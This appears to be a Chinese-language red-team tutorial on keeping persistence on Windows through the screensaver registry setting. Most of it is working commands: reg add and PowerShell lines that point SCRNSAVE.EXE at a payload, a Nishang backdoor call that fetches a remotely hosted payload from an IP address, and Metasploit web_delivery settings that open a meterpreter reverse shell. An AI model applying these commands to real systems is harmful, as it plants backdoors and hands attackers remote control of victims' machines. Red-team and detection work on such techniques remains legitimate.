屏幕保护是Windows功能的一部分,使用户可以在一段时间不活动后放置屏幕消息或图形动画。众所周知,Windows的此功能被威胁参与者滥用为持久性方法。这是因为屏幕保护程序是具有.scr文件扩展名的可执行文件,并通过scrnsave.scr实用程序执行。
屏幕保护程序设置存储在注册表中,从令人反感的角度来看,最有价值的值是:
代码语言:javascript复制HKEY_CURRENT_USERControl PanelDesktopSCRNSAVE.EXE
HKEY_CURRENT_USERControl PanelDesktopScreenSaveActive
HKEY_CURRENT_USERControl PanelDesktopScreenSaverIsSecure
HKEY_CURRENT_USERControl PanelDesktopScreenSaveTimeOut
可以通过命令提示符或从PowerShell控制台修改或添加注册表项。由于.scr文件本质上是可执行文件,因此两个扩展名都可以用于后门植入。
代码语言:javascript复制reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:tmppentestlab.exe
reg add "hkcucontrol paneldesktop" /v SCRNSAVE.EXE /d c:tmppentestlab.scr
New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.exe'
New-ItemProperty -Path 'HKCU:Control PanelDesktop' -Name 'SCRNSAVE.EXE' -Value 'c:tmppentestlab.scr'
一旦机器不活动时间段过去,将执行任意有效载荷,并且将再次建立命令和控制的通信。
Nishang框架包含一个PowerShell脚本,该脚本也可以执行此攻击,但与上述方法相比,它需要管理级别的特权,因为它在本地计算机中使用注册表项来存储将执行远程托管有效负载的PowerShell命令。这种技术的好处是它不会接触磁盘。
代码语言:javascript复制Import-Module .Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.145:8080/Bebr7aOemwFJO
在这种情况下,可以使用Metasploit Web交付模块生成并托管PowerShell负载。一旦用户会话变为空闲,屏幕保护程序将执行PowerShell负载,然后将打开一个meterpreter会话。
代码语言:javascript复制use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST IP_Address
set target 2exploit
利用屏幕保护程序的持久性技术的问题在于,当用户返回并且系统未处于空闲模式时,会话将中断。但是,红队可以在用户不在时执行其操作。如果屏幕保护程序被组策略禁用,则该技术不能用于持久性。